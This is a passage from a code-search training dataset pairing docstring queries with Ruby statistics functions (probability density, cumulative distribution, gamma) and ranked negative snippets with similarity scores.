"0.53638214",
"0.5348008",
"0.53443223",
"0.53409785",
"0.53293216",
"0.5316206",
"0.5314223",
"0.5312594",
"0.53115493",
"0.5311026",
"0.5310288",
"0.5306496",
"0.52969503",
"0.5296477",
"0.52825373",
"0.5267225",
"0.52624685",
"0.5253967",
"0.52514446",
"0.5243246",
"0.52410585",
"0.5240269",
"0.5240269",
"0.5240269",
"0.5240269",
"0.5239313",
"0.52372015",
"0.52372015",
"0.5230802",
"0.52232134",
"0.52223015",
"0.52220106",
"0.52214795",
"0.52106905",
"0.51985776",
"0.5192916",
"0.5178615",
"0.51698077",
"0.51698077",
"0.51698077",
"0.5163907",
"0.51623905",
"0.51604235",
"0.51601315",
"0.5155477",
"0.5155477",
"0.5155477",
"0.5155477",
"0.515267",
"0.51523066",
"0.51509446",
"0.51505494",
"0.51429486",
"0.5134779",
"0.5118594",
"0.5118594",
"0.5115843",
"0.5115754",
"0.5114339",
"0.51097244",
"0.50939804",
"0.5093168",
"0.50931025",
"0.50897217",
"0.5081923",
"0.5077591",
"0.50683445",
"0.50626534",
"0.50610435",
"0.5060052",
"0.5058285",
"0.5057924",
"0.50577426"
] | 0.5943358 | 5 |
Private method to obtain single PDF value. x should be greater than 0 returns the probability that a stochastic variable x has the value X, i.e. P(x=X). | def get_pdf(x)
d = Vector.elements(x) - @mu
@pdf_factor * Math.exp(-0.5 * d.inner_product(@sigma_inv*d).to_f)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_pdf(x)\n raise \"Argument Error: x must be greater than zero\" if x <= 0.0\n return 1.0/x.to_f * @norm.pdf(Math.log(x.to_f))\n end",
"def get_pdf(x) \n return @pdf_factor * (1.0 + (x**2.0) / @dof)**(-(@dof+1.0)/2.0)\n end",
"def pdf(_x)\n if _x.class == Array\n pdf_vals = []\n for i in (0 ... _x.length)\n check_range(_x[i], 0.0, @n)\n pdf_vals[i] = binomial(@n, _x[i]) * (1-@p)**(@n-_x[i])\n end\n return pdf_vals\n else\n check_range(_x, 0.0, @n)\n return binomial(@n, _x) * @p**_x * (1-@p)**(@n-_x)\n end\n end",
"def get_pdf(x)\n if x >= @lower && x <= @upper\n @pdf_denominator\n else \n 0.0\n end\t \n end",
"def pdf(x, a, b)\n return 0 if x < 0 || x > 1\n\n gab = Math.lgamma(a + b).first\n ga = Math.lgamma(a).first\n gb = Math.lgamma(b).first\n\n if x == 0.0 || x == 1.0\n Math.exp(gab - ga - gb) * x**(a - 1) * (1 - x)**(b - 1)\n else\n Math.exp(gab - ga - gb + Math.log(x) * (a - 1) + Math::Log.log1p(-x) * (b - 1))\n end\n end",
"def get_pdf(x)\n end",
"def pdf\n base = Estimate.get_base\n estimate = base.fetch_by_id(id)\n return base.pdf(estimate)\n end",
"def p(val)\n\t\t\tif (@probability_distribution.key?(val))\n\t\t\t\treturn @probability_distribution[val]\n\t\t\telse\n\t\t\t\treturn 0\n\t\t\tend\n\t\tend",
"def get_cdf(_x)\n check_range(_x, 0.0, @n)\n sum = 0.0\n for i in (0 .. _x) \n sum = sum + pdf(i)\n end\n return sum\n end",
"def calculate_probability\n calculate_probability ||= if @value.positive?\n 100.0 / (@value + 100)\n else\n [email protected]_f / (100 - @value)\n end\n end",
"def calculate_probability\n @value.denominator.fdiv(@value.denominator + @value.numerator)\n end",
"def probability var, val\n unless self.count.zero?\n self.count{|r| r[var] == val}.fdiv(self.count)\n else\n 0\n end\n end",
"def probability\n return @probability\n end",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def probability_of(gram)\n @probabilities.fetch(gram,0.0)\n end",
"def probability_s\n return @probability_s\n end",
"def feature_probability(index, value, class_name)\r\n features_of_class = get_feature_of_class(index, class_name)\r\n\r\n #statistical properties of the feature set\r\n fc_std = features_of_class.standard_deviation\r\n fc_mean = features_of_class.mean\r\n fc_var = features_of_class.variance \r\n\r\n # Calc prbobability of Normal Distribui\r\n\r\n exp = -((value - fc_mean)**2)/(2*fc_var)\r\n densy = (1.0/(Math.sqrt(2*Math::PI*fc_var))) * (Math::E**exp)\r\n\r\n return densy\r\n end",
"def get_pdf(params = {})\n call('estimate.getPDF', params)\n end",
"def cdf(_x)\n if _x.class == Array\n inv_vals = []\n for i in (0 ..._x.length)\n pdf_vals[i] = get_cdf(_x[i])\n end\n return pdf_vals\n else\n return get_cdf(_x)\n end\n end",
"def get_cdf(x)\n end",
"def log_proposal_density(y,x)\n raise \"Not implemented\"\n end",
"def probability_s=(value)\n @probability_s = value\n end",
"def probability=(value)\n @probability = value\n end",
"def probability\n rand(1..100)\n end",
"def get_cdf(x)\n raise \"method 'cdf' not implemented for student t\"\n end",
"def get_protein_probability(protein_node)\n\n\t\t#MS:1002403\n\t\tis_group_representative=(self.get_cvParam(protein_node,\"MS:1002403\")!=nil)\n\t\tif is_group_representative\n\t\t\treturn \tself.get_cvParam(protein_node.parent,\"MS:1002470\").attributes['value'].to_f*0.01\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def cdf(x,a,b)\n GSL::Cdf::gamma_P(x.to_f, a.to_f, b.to_f)\n end",
"def get_cdf(x)\n raise \"cdf for multivariate normal distribution not implemented\"\n end",
"def conditional_probability\nend",
"def probability(value)\n probability_for_sides(:==, value)\n end",
"def f_iter(x)\n cur_prob = 1.0\n for i in 2..$x do\n cur_prob += ($n - cur_prob)/$n\n end\n return cur_prob\nend",
"def cdf(k,n,pr)\n #(0..x.floor).inject(0) {|ac,i| ac+pdf(i,n,pr)}\n Math.regularized_beta(1-pr,n - k,k+1)\n end",
"def p_value(pr,a,b)\n GSL::Cdf::gamma_Pinv(pr.to_f, a.to_f, b.to_f)\n end",
"def probability_z\n\t\t (1-Distribution::Normal.cdf(z))*(@tails==:both ? 2:1)\n end",
"def dist_pres(presnum)\n return factorial(presnum)/iterative_fact(presnum);\nend",
"def doc_probability(category)\n doc_prob = 1.0\n self.words.each do |word|\n doc_prob *= BayesCategory.where(:category=>category).first.word_probability(word[0])\n end\n doc_prob\n end",
"def get_cdf(x)\n return 0.5 + 0.5 * Math.erf((Math.log(x.to_f) - @meanlog) / (NumericalConstants::SQRT2 * @sdlog))\n end",
"def gamma(x)\n raise \"Invalid input\" unless x > 0\n\n # Split the function domain into three intervals:\n # (0, 0.001), [0.001, 12), and (12, infinity)\n\n ###########################################################################\n # First interval: (0, 0.001)\n #\n # For small x, 1/Gamma(x) has power series x + gamma x^2 - ...\n # So in this range, 1/Gamma(x) = x + gamma x^2 with error on the order of x^3.\n # The relative error over this interval is less than 6e-7.\n\n gamma = 0.577215664901532860606512090 # Euler's gamma constant\n\n if x < 0.001\n return 1.0/(x*(1.0 + gamma*x))\n end\n\n ###########################################################################\n # Second interval: [0.001, 12)\n\n if x < 12.0\n # The algorithm directly approximates gamma over (1,2) and uses\n # reduction identities to reduce other arguments to this interval.\n \n y = x\n n = 0\n arg_was_less_than_one = (y < 1.0)\n\n # Add or subtract integers as necessary to bring y into (1,2)\n # Will correct for this below\n if arg_was_less_than_one\n y += 1.0\n else\n n = y.floor - 1 # will use n later\n y -= n\n end\n\n # numerator coefficients for approximation over the interval (1,2)\n p =\n [\n -1.71618513886549492533811E+0,\n 2.47656508055759199108314E+1,\n -3.79804256470945635097577E+2,\n 6.29331155312818442661052E+2,\n 8.66966202790413211295064E+2,\n -3.14512729688483675254357E+4,\n -3.61444134186911729807069E+4,\n 6.64561438202405440627855E+4\n ]\n\n # denominator coefficients for approximation over the interval (1,2)\n q =\n [\n -3.08402300119738975254353E+1,\n 3.15350626979604161529144E+2,\n -1.01515636749021914166146E+3,\n -3.10777167157231109440444E+3,\n 2.25381184209801510330112E+4,\n 4.75584627752788110767815E+3,\n -1.34659959864969306392456E+5,\n -1.15132259675553483497211E+5\n ]\n\n num = 0.0\n den = 1.0\n\n z = y - 1\n 8.times do |i|\n num = (num + p[i])*z\n den = den*z + q[i]\n end\n result = num/den + 1.0\n\n # Apply correction if argument was not initially in (1,2)\n if arg_was_less_than_one\n # Use identity gamma(z) = gamma(z+1)/z\n # The variable \"result\" now holds gamma of the original y + 1\n # Thus we use y-1 to get back the orginal y.\n result /= (y-1.0)\n else\n # Use the identity gamma(z+n) = z*(z+1)* ... *(z+n-1)*gamma(z)\n n.times do\n result *= y\n y += 1\n end\n end\n\n return result\n end\n\n ###########################################################################\n # Third interval: [12, infinity)\n\n if x > 171.624\n # Correct answer too large to display. \n return 1.0/0 # float infinity\n end\n\n return Math.exp(log_gamma(x))\nend",
"def prob(n)\n n = n\n x = n/2\n as, ae = fact_sig_exp(n)\n bs, be = fact_sig_exp(x)\n bs *= bs\n be *= 2\n cs, ce = power_sig_exp(2, n)\n\n s = as / bs / cs\n e = ae - be - ce\n s*10**e\nend",
"def probability_of_success_given(title)\n features = FEATURES.select { |feature| send(feature, title) }\n p_features = features.map { |feature| @probability_of_feature[feature] }.inject(1, :*)\n p_feature_given_successes = features.map { |feature| @probability_of_feature_given_success[feature] }.inject(1, :*)\n p_feature_given_successes * @probability_of_success / p_features\n end",
"def cdf(x, a, b)\n return 0.0 if x <= 0.0\n return 1.0 if x >= 1.0\n Math::IncompleteBeta.axpy(1.0, 0.0, a, b, x)\n end",
"def pf_x(n1, n2, x); pfdist(n1, n2, 1.0 - x); end",
"def proportion_sd_kp_wr(p, n_sample)\n Math::sqrt(p*(1-p).quo(n_sample))\n end",
"def predict_proba(x)\n raise \"#{self.class.name}##{__method__} expects to be called after training the model with the fit method.\" unless trained?\n x = Rumale::Validation.check_convert_sample_array(x)\n if binary_class?\n probs = Numo::DFloat.zeros(x.shape[0], 2)\n probs[true, 0] = 1.0 / (Numo::NMath.exp(@prob_param[0] * decision_function(x) + @prob_param[1]) + 1.0)\n probs[true, 1] = 1.0 - probs[true, 0]\n else\n probs = 1.0 / (Numo::NMath.exp(@prob_param[true, 0] * decision_function(x) + @prob_param[true, 1]) + 1.0)\n probs = (probs.transpose / probs.sum(axis: 1)).transpose.dup\n end\n probs\n end",
"def p_value(probability, n, m)\n return Float::NAN if n <= 0.0 || m <= 0.0\n\n if n == Float::INFINITY || n == -Float::INFINITY || m == Float::INFINITY || m == -Float::INFINITY\n return 1.0\n end\n\n if n <= m && m > 4e5\n return Distribution::ChiSquare.p_value(probability, n) / n.to_f\n elsif n > 4e5 # thus n > m\n return m.to_f / Distribution::ChiSquare.p_value(1.0 - probability, m)\n else\n # O problema está aqui.\n tmp = Distribution::Beta.p_value(1.0 - probability, m.to_f / 2, n.to_f / 2)\n value = (1.0 / tmp - 1.0) * (m.to_f / n.to_f)\n return value.nan? ? Float::NAN : value\n end\n end",
"def log_density(x)\n raise \"Not implemented\"\n end",
"def x\n @p[0]\n end",
"def x\n @p[0]\n end",
"def normalDistributionPValue(confidence)\n return Distribution::Normal.p_value(confidence)\n end",
"def process_pdf\n\t\tif before_generate_pdf.blank?\n\t\t\tself.ready_for_pdf_generation = nil\n\t\telse\n\t\t\tself.ready_for_pdf_generation = Time.now.to_i \n\t\tend\n\tend",
"def probA1(bit, sampleSum, remainingSamples, geneSum, remainingGenes, mutsRemaining, bitsRemaining)\n\n ar = sampleSum.to_f/remainingSamples.to_f\n ac = geneSum.to_f/remainingGenes.to_f\n a = mutsRemaining.to_f/bitsRemaining.to_f\n\n prob = nil\n if a == 1 #avoid division by zero problem in prob calculation\n prob = 1\n else\n prob = (ar*ac)/(a*(((1-ar)*(1-ac)/(1-a))+(ar*ac/a)))\n end\n\n #avoid division by zero problem in d calculation\n if prob == 1 \n prob = 0.999999\n elsif prob == 0\n prob = 0.000001\n end\n\n if bit == 1 \n return prob\n end\n return 1-prob\nend",
"def probability_of_success\n experience / 5.0\n end",
"def normalDistributionCDF(value)\n return Distribution::Normal.cdf(value)\n end",
"def tdist_p(value, degrees_of_freedom)\n upper = (value + Math.sqrt(value * value + degrees_of_freedom))\n lower = (2.0 * Math.sqrt(value * value + degrees_of_freedom))\n\n x = upper/lower\n\n alpha = degrees_of_freedom/2.0\n beta = degrees_of_freedom/2.0\n\n incomplete_beta_function(x, alpha, beta)\n end",
"def state_probability(state_id)\n if $data_states[state_id].nonresistance\n return 100\n else\n rank = enemy.state_ranks[state_id]\n return [0,100,80,60,40,20,0][rank]\n end\n end",
"def pdf\n raise ActionController::RoutingError.new(\"Article (#{@article.id}) does not have a PDF view.\") unless @article.has_pdf?\n if format_accessible?(:pdf)\n @pdf = CACM::CRAWLER_IPS.include?(request.remote_ip) ? (request.url + @article.source.full_texts.pdf.crawl_url) : (@article.source.full_texts.pdf.url(current_member))\n \n # Did we just log in? If so, we should still have the flash[:notice]..., \"You have been logged in as ...\"\n # Also, if the `dl` param has been set, that means we just came from the TOC\n # so we'll display the download window. Greatly speeds up TOC rendering.\n unless (flash[:notice] and flash[:notice].include?(\"logged\")) or params[:dl]\n # No message? We are logged in. Gimme the PDF!\n redirect_to @pdf, :status => 302 and return\n end\n # else, we just logged in! Let's go to the download page to avoid a\n # nasty redirect loop. Now we render pdf.html.haml\n else \n # never was able to access it anyways.\n return false\n end\n end",
"def pdf(k, m, n, total)\n min_m_n=m<n ? m : n\n max_t=[0,m+n-total].max\n return 0 if k>min_m_n or k<max_t\n (bc(m,k) * bc(total-m,n-k)).quo(bc(total,n))\n end",
"def getFactoredProb0(i,j)\n v = (i == j ? 0 : @probTablePickUp[i] * @probTableDropOff[j]) ;\n return v/(1-@probFactoredDiagSum) ;\n end",
"def p(k)\n k = k.to_f\n output = 0.0\n if k == 1\n output = 1/@N\n else\n output = 1/(k*(k-1))\n end\n return output\n end",
"def generate_pdf(input)\n create_debug_output(input) if options[:debug]\n check_for_tex_presence!\n create_pdf(input)\n end",
"def probability(word)\n word = (Word === word ? word : get(word))\n BigDecimal.new(word.count) / total\n end",
"def pd\n if @pd.nil?\n @[email protected]{ [0] * @nc}\n [email protected]{ [0] * @nc}\n @nr.times do |i|\n @nc.times do |j|\n \n if i==@nr-1 and j==@nc-1\n @pd[i][j]=1.0\n else\n a=(i==@nr-1) ? 100: alpha[i]\n b=(j==@nc-1) ? 100: beta[j]\n #puts \"a:#{a} b:#{b}\"\n @pd[i][j]=Distribution::BivariateNormal.cdf(a, b, rho)\n end\n pc[i][j] = @pd[i][j]\n @pd[i][j] = @pd[i][j] - pc[i-1][j] if i>0\n @pd[i][j] = @pd[i][j] - pc[i][j-1] if j>0\n @pd[i][j] = @pd[i][j] + pc[i-1][j-1] if (i>0 and j>0)\n end\n end\n end\n @pd\n end",
"def set_Probability(value)\n set_input(\"Probability\", value)\n end",
"def distribution\n @distribution ||= find_best_distribution\n end",
"def pEstimate(sentence)\n probability = 1\n tokens = sentence.split\n (2..(tokens.size-1)).to_a.each do |i|\n probability *= q(tokens[i-2..i])\n end\n probability\n end",
"def probability(a)\n total=0\n\n for j in 0..9\n if(a[j]==nil)\n next\n end\n total += a[j]\n end\n for i in 0..9\n if(a[i]==nil)\n next\n end\n puts 'P(' + i.to_s + ') = '+ (a[i]/total).to_s\n end\n max(a,total)\nend",
"def proportion_sd_ep_wr(p, n_sample)\n Math::sqrt(p*(1-p).quo(n_sample-1))\n end",
"def pdf\n _, @document = search_service.fetch(params[:solr_document_id])\n\n source_pdf = Wayfinder.for(resource).source_pdf\n if source_pdf\n redirect_to \"#{request.base_url}#{helpers.fileset_download_path(source_pdf, auth_token_param)}\"\n elsif helpers.pdf_allowed?(resource) && can?(:pdf, resource)\n redirect_to \"#{request.base_url}#{polymorphic_path([:pdf, resource], auth_token_param)}\"\n else\n redirect_to solr_document_url(resource), notice: \"No PDF available for this item\"\n end\n end",
"def pt___x(n, y); ptdist(n, 1.0 - y); end",
"def dp\n dps.first\n end",
"def p; @p.nil? ? p=sqrt(x**2+y**2) : @p; end",
"def output_pdf\n siz = @report.size.to_i\n if siz < 500 || Dialog.confirm(\"Cela demandera environ #{siz / 250} secondes\")\n path = ask_path('.pdf')\n path ? build_and_save_pdf(path) : 'Annulé'\n else\n 'Annulé'\n end\n rescue\n pdf_error\n end",
"def gamma(x)\n if x < 0.0\n return PI / (sin(PI * x) * exp(log_gamma(1 - x)))\n else\n exp(log_gamma(x))\n end\n end",
"def pick\n float = BigDecimal.new(@rnd.uniform.to_s)\n from = to = BigDecimal.new(\"0.0\")\n value = nil\n @distribution.each do |value, probabillity|\n to += probabillity\n if float >= from && float < to\n return value\n end\n from = to\n end\n\n throw \"probabillity sum not 1.0, was #{to} for #{@distribution}\" if to < 0.999\n return value\n end",
"def pdf(filename = nil)\n parent.pdf(id, filename)\n end",
"def probA0(bit)\n\n # not quite zero, to avoid paying infinitely large\n # penalty when calculating score (div by zero)\n if bit == 0\n return 0.999999\n else #bit == 1\n # This value can be used to tweak coverage vs\n # exclusivity of modules\n return 0.000005\n end\nend",
"def gamma(x)\n if (x < 0.0)\n return Math::PI / (Math.sin(Math::PI * x) * Math.exp(loggamma(1 - x))) #/\n end\n Math.exp(loggamma(x))\n end",
"def get_cdf(x)\n if x >= @lower && x < @upper\n (x - @lower).fdiv(@upper - @lower)\n elsif x >= @upper\n 1.0\n else \n 0.0\n end\t \n end",
"def calc_density(percent)\n (@population * percent).floor\n\n end",
"def phat\n @phat ||= 1.0 * positive/total\n end",
"def entropy_rv\n distr = pdf\n distr.inject(0) do |t, kv|\n name, pn = kv\n t += -pn * (pn == 0 ? 0.0 : Math.log(pn)) / Math.log(10)\n end\n end",
"def create_distributions\n (1..@N).each do |k|\n @pdf[k] = p(k) + t(k) \n @cdf[k] = @cdf[k-1] + @pdf[k]\n end\n normalise\n end",
"def predict_proba(x)\n x = ::Rumale::Validation.check_convert_sample_array(x)\n\n Numo::DFloat[*(Array.new(x.shape[0]) { |n| partial_predict_proba(@tree, x[n, true]) })]\n end",
"def density\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
"def bg_prob\n @bg_prob ||= 1.0 / @size\n end",
"def getFactoredProb(i,j)\n return @probTable.calcProbFactored(i,j) ;\n end",
"def get_token_probability(token, category_index)\n denom = @total_token_counts[category_index] + @token_counts[category_index].size * @prior_token_count \n if denom == 0\n return 0\n else\n return ((@token_counts[category_index][token] || 0) + @prior_token_count).to_f / denom\n end\n end",
"def calculate_probability_distribution\n\t\t\tnumber_of_possible_combinations = (@sides**@count)\n\t\t\t#puts \"Number of possible combinations: #{number_of_possible_combinations}\"\n\t\t\tresult = {}\n\t\t\t# weep softly: http://mathworld.wolfram.com/Dice.html\n\t\t\t(min..max).each { |p|\n\t\t\t\tif p > (max + min) / 2\n\t\t\t\t\tresult[p] = result[max - p + min]\n\t\t\t\telse\n\t\t\t\t\tthing = (BigDecimal.new(p - @count) / BigDecimal.new(@sides)).floor\n\n\t\t\t\t\tc = BigDecimal.new(0)\n\t\t\t\t\t((0..thing).each { |k|\n\t\t\t\t\t\tn1 = ((-1)**k) \n\t\t\t\t\t\tn2 = BigDecimal.new(Internal_Utilities::Math_Utilities.Choose(@count, k))\n\t\t\t\t\t\tn3 = BigDecimal.new(Internal_Utilities::Math_Utilities.Choose(p - (@sides * k) - 1, @count - 1))\t\t\t\t\t\t\n\t\t\t\t\t\tt = BigDecimal.new(n1 * n2 * n3)\n\n\t\t\t\t\t\tc += t\n\t\t\t\t\t})\n\n\t\t\t\t\t#result = result.abs\n\n\t\t\t\t\tresult[p] = BigDecimal.new(c) / BigDecimal.new(number_of_possible_combinations)\n\t\t\t\tend\n\n\t\t\t\t#puts \"\\tProbability of #{p}: #{@probability_distribution[p].add(0, 5).to_s('F')}\" \n\t\t\t}\n\t\t\t@probability_distribution = result\n\t\t\t#puts \"Sum of probability_distribution: \" + (@probability_distribution.inject(BigDecimal.new(0)) {|total, (k,v)| BigDecimal.new(total + v) }).add(0, 5).to_s('F')\n\t\tend",
"def evaluate_param(x); (x.is_a?(Range) ? rand(x) : x).to_f; end",
"def p_value(pr,k)\n GSL::Cdf.tdist_Pinv(pr,k)\n end",
"def probability(n, k)\n probability = fact(n) / fact(k) * fact(n - k) * (1.0/6.0) ** k * (5.0/6.0) ** (n-k)\n return probability\n end",
"def calcD(pn,pa)\n return -1*(Math.log2(pn/pa))\nend",
"def category_probability(category)\r\n @categories_documents[category].to_f/@total_documents.to_f\r\n end",
"def pdf(id, filename = nil)\n pdf_data = @application.http_get(@application.client, \"#{url}/#{CGI.escape(id)}\", :response => :pdf)\n if filename\n File.open(filename, \"wb\") { | fp | fp.write pdf_data }\n nil\n else\n pdf_data\n end\n end",
"def assert_probability *args\n\t\tassert_floatable(*args)\n\t\targs.each do |var|\n\t\t\tassert do\n var >= 0.0 &&\n\t\t\t\t\tvar <= 1.0\n\t\t\tend\n\t\tend\n\tend",
"def proportion_sd_kp_wor(p, sam, pop)\n fpc(sam,pop)*Math::sqrt(p*(1-p).quo(sam))\n end",
"def probability m, n\r\n\t\t\treturn 1.0 * combination( @p, m ) * combination( @q, ( n - m ) ) / combination( ( @p + @q ), n )\r\n\t\tend",
"def get_probabilities()\n # If there is no value set at the moment, set it to [0.5, 0.25, 0.15, 0.1].\n if @metadata[:probabilities] == nil\n self.probabilities([0.5, 0.25, 0.15, 0.1])\n end\n return @metadata[:probabilities]\n end",
"def set_pdf\n @pdfs = Pdf.find(params[:id])\n end"
] | [
"0.8279697",
"0.81088126",
"0.78605586",
"0.762035",
"0.727046",
"0.6880953",
"0.6854855",
"0.6690661",
"0.64497644",
"0.6244446",
"0.6200721",
"0.611927",
"0.60777074",
"0.5965171",
"0.5965171",
"0.5946785",
"0.5945519",
"0.5911721",
"0.5847722",
"0.57712644",
"0.5756316",
"0.57343423",
"0.57062674",
"0.5674222",
"0.56469566",
"0.56328285",
"0.55906063",
"0.55780673",
"0.55419487",
"0.55107456",
"0.54943806",
"0.5412679",
"0.53869903",
"0.53832066",
"0.5365596",
"0.5350116",
"0.5349209",
"0.534374",
"0.5341044",
"0.533796",
"0.5324115",
"0.5295476",
"0.5284592",
"0.5274773",
"0.52599025",
"0.52552825",
"0.52289504",
"0.5216052",
"0.5216052",
"0.521557",
"0.5195141",
"0.517642",
"0.5163008",
"0.51433367",
"0.5142132",
"0.5141861",
"0.51334953",
"0.5127536",
"0.51219517",
"0.51128626",
"0.51105255",
"0.5108918",
"0.5101885",
"0.50975835",
"0.5095577",
"0.5093311",
"0.50921416",
"0.50912833",
"0.50850046",
"0.50817317",
"0.5076014",
"0.5073325",
"0.50686514",
"0.50663245",
"0.50652194",
"0.50557077",
"0.50449985",
"0.5019156",
"0.50183725",
"0.5009258",
"0.4996057",
"0.49956715",
"0.49812943",
"0.49728402",
"0.49723923",
"0.49409482",
"0.49398264",
"0.4918043",
"0.4912111",
"0.49109873",
"0.48982123",
"0.48898605",
"0.4888831",
"0.48853627",
"0.4883746",
"0.48748937",
"0.48748034",
"0.48671672",
"0.48633048",
"0.4860534"
] | 0.79488343 | 2 |
Private method to obtain single CDF value. param x should be greater than 0 return the probability that a stochastic variable x is less then X, i.e. P(x<X). | def get_cdf(x)
raise "cdf for multivariate normal distribution not implemented"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_cdf(x)\n return 0.5 + 0.5 * Math.erf((Math.log(x.to_f) - @meanlog) / (NumericalConstants::SQRT2 * @sdlog))\n end",
"def get_cdf(x)\n raise \"method 'cdf' not implemented for student t\"\n end",
"def get_cdf(x)\n end",
"def get_cdf(_x)\n check_range(_x, 0.0, @n)\n sum = 0.0\n for i in (0 .. _x) \n sum = sum + pdf(i)\n end\n return sum\n end",
"def get_cdf(x)\n if x >= @lower && x < @upper\n (x - @lower).fdiv(@upper - @lower)\n elsif x >= @upper\n 1.0\n else \n 0.0\n end\t \n end",
"def cdf(_x)\n if _x.class == Array\n inv_vals = []\n for i in (0 ..._x.length)\n pdf_vals[i] = get_cdf(_x[i])\n end\n return pdf_vals\n else\n return get_cdf(_x)\n end\n end",
"def get_pdf(x)\n raise \"Argument Error: x must be greater than zero\" if x <= 0.0\n return 1.0/x.to_f * @norm.pdf(Math.log(x.to_f))\n end",
"def get_pdf(x) \n return @pdf_factor * (1.0 + (x**2.0) / @dof)**(-(@dof+1.0)/2.0)\n end",
"def cdf(x, k)\n GSL::Cdf.tdist_P(x.to_f, k)\n end",
"def cdf(x,a,b)\n GSL::Cdf::gamma_P(x.to_f, a.to_f, b.to_f)\n end",
"def cdf(x, a, b)\n return 0.0 if x <= 0.0\n return 1.0 if x >= 1.0\n Math::IncompleteBeta.axpy(1.0, 0.0, a, b, x)\n end",
"def get_pdf(x)\n if x >= @lower && x <= @upper\n @pdf_denominator\n else \n 0.0\n end\t \n end",
"def cdf(x, k)\n Statistics2.chi2dist(k.to_i,x)\n end",
"def get_pdf(x) \n d = Vector.elements(x) - @mu\n @pdf_factor * Math.exp(-0.5 * d.inner_product(@sigma_inv*d).to_f)\n end",
"def pdf(_x)\n if _x.class == Array\n pdf_vals = []\n for i in (0 ... _x.length)\n check_range(_x[i], 0.0, @n)\n pdf_vals[i] = binomial(@n, _x[i]) * (1-@p)**(@n-_x[i])\n end\n return pdf_vals\n else\n check_range(_x, 0.0, @n)\n return binomial(@n, _x) * @p**_x * (1-@p)**(@n-_x)\n end\n end",
"def normalDistributionCDF(value)\n return Distribution::Normal.cdf(value)\n end",
"def cdf(z_score)\n (0.5 * (1.0 + Math.erf((z_score * 1.0) / Math.sqrt(2))))\n end",
"def cdf(lower_tail=true)\n\t\t\tmethod_to_call = if lower_tail\n\t\t\t\t:gaussian_P\n\t\t\telse\n\t\t\t\t:gaussian_Q\n\t\t\tend\n\t\t\[email protected] { |x| Cdf.send(method_to_call,x, @o).round(@precision) }\n\t\tend",
"def cdf(k,n,pr)\n #(0..x.floor).inject(0) {|ac,i| ac+pdf(i,n,pr)}\n Math.regularized_beta(1-pr,n - k,k+1)\n end",
"def cnd(x)\r\n l = x.abs\r\n k = 1.0 / (1.0 + 0.2316419 * l)\r\n w = 1.0 - 1.0 / Math.sqrt(2 * Math::PI) * Math.exp(-l * l / 2.0) *\r\n ( 0.31938153 * k +\r\n -0.356563782 * (k ** 2) +\r\n 1.781477937 * (k ** 3) +\r\n -1.821255978 * (k ** 4) +\r\n 1.330274429 * (k ** 5))\r\n w = 1.0 - w if x < 0\r\n end",
"def pdf(x, a, b)\n return 0 if x < 0 || x > 1\n\n gab = Math.lgamma(a + b).first\n ga = Math.lgamma(a).first\n gb = Math.lgamma(b).first\n\n if x == 0.0 || x == 1.0\n Math.exp(gab - ga - gb) * x**(a - 1) * (1 - x)**(b - 1)\n else\n Math.exp(gab - ga - gb + Math.log(x) * (a - 1) + Math::Log.log1p(-x) * (b - 1))\n end\n end",
"def feature_probability(index, value, class_name)\r\n features_of_class = get_feature_of_class(index, class_name)\r\n\r\n #statistical properties of the feature set\r\n fc_std = features_of_class.standard_deviation\r\n fc_mean = features_of_class.mean\r\n fc_var = features_of_class.variance \r\n\r\n # Calc prbobability of Normal Distribui\r\n\r\n exp = -((value - fc_mean)**2)/(2*fc_var)\r\n densy = (1.0/(Math.sqrt(2*Math::PI*fc_var))) * (Math::E**exp)\r\n\r\n return densy\r\n end",
"def log_density(x)\n raise \"Not implemented\"\n end",
"def log_proposal_density(y,x)\n raise \"Not implemented\"\n end",
"def decision_function(x)\n x = ::Rumale::Validation.check_convert_sample_array(x)\n\n n_classes = @classes.size\n log_likelihoods = Array.new(n_classes) do |l|\n Math.log(@class_priors[l]) - 0.5 * (\n Numo::NMath.log(2.0 * Math::PI * @variances[l, true]) +\n ((x - @means[l, true])**2 / @variances[l, true])).sum(axis: 1)\n end\n Numo::DFloat[*log_likelihoods].transpose.dup\n end",
"def p(val)\n\t\t\tif (@probability_distribution.key?(val))\n\t\t\t\treturn @probability_distribution[val]\n\t\t\telse\n\t\t\t\treturn 0\n\t\t\tend\n\t\tend",
"def calculate_probability\n calculate_probability ||= if @value.positive?\n 100.0 / (@value + 100)\n else\n [email protected]_f / (100 - @value)\n end\n end",
"def pf_x(n1, n2, x); pfdist(n1, n2, 1.0 - x); end",
"def q(x, n, m)\n 1.0 - cdf(x, n, m)\n end",
"def calculate_probability\n @value.denominator.fdiv(@value.denominator + @value.numerator)\n end",
"def get_icdf(p) \n check_range(p)\n raise \"inverse cdf for multivariate normal distribution not implemented\"\n end",
"def cdf(k, m, n, total) # :nodoc:\n GSL::Cdf::hypergeometric_P(k, m, total-m, n)\n end",
"def fact(x)\n\n ret = 1.0\n \n while x > 0\n ret *= x\n\tx -= 1\n end\n\t\t\n return ret\n\t\nend",
"def conditional_probability\nend",
"def probability_z\n\t\t (1-Distribution::Normal.cdf(z))*(@tails==:both ? 2:1)\n end",
"def gamma(x)\n raise \"Invalid input\" unless x > 0\n\n # Split the function domain into three intervals:\n # (0, 0.001), [0.001, 12), and (12, infinity)\n\n ###########################################################################\n # First interval: (0, 0.001)\n #\n # For small x, 1/Gamma(x) has power series x + gamma x^2 - ...\n # So in this range, 1/Gamma(x) = x + gamma x^2 with error on the order of x^3.\n # The relative error over this interval is less than 6e-7.\n\n gamma = 0.577215664901532860606512090 # Euler's gamma constant\n\n if x < 0.001\n return 1.0/(x*(1.0 + gamma*x))\n end\n\n ###########################################################################\n # Second interval: [0.001, 12)\n\n if x < 12.0\n # The algorithm directly approximates gamma over (1,2) and uses\n # reduction identities to reduce other arguments to this interval.\n \n y = x\n n = 0\n arg_was_less_than_one = 